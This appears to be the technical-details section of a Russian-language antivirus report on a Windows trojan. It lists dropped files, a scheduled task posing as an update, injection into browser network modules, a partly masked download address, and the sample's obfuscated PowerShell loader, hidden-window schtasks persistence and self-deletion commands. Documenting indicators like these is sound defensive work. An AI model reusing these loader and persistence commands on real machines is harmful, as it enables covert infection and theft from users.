Техническая информация
- <SYSTEM32>\tasks\updates\nrgdelgvsziwc
- %WINDIR%\syswow64\chkdsk.exe
- test.exe
- Процесс firefox.exe, модуль nss3.dll
- Процесс iexplore.exe, модуль wininet.dll
- %APPDATA%\test.exe
- %APPDATA%\nrgdelgvsziwc.exe
- %TEMP%\tmpd44e.tmp
- %LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\test.exe.log
- %APPDATA%\nrgdelgvsziwc.exe
- '17#.#3.175.187':80
- http://17#.#3.175.187/smlx/TEST.exe
- '%APPDATA%\test.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy UnRestricted function xalBSH($Ej, $S){[IO.File]::WriteAllBytes($Ej, $S)};function KLzsn($Ej){if($Ej.EndsWith((PneHa @(13612,13666,13674,13674))) -eq $True){Start-Process (PneHa...' (со скрытым окном)
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\NRGdELGVSZiWc" /XML "%TEMP%\tmpD44E.tmp"' (со скрытым окном)
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\NRGdELGVSZiWc" /XML "%TEMP%\tmpD44E.tmp"
- '%WINDIR%\syswow64\chkdsk.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%APPDATA%\TEST.exe"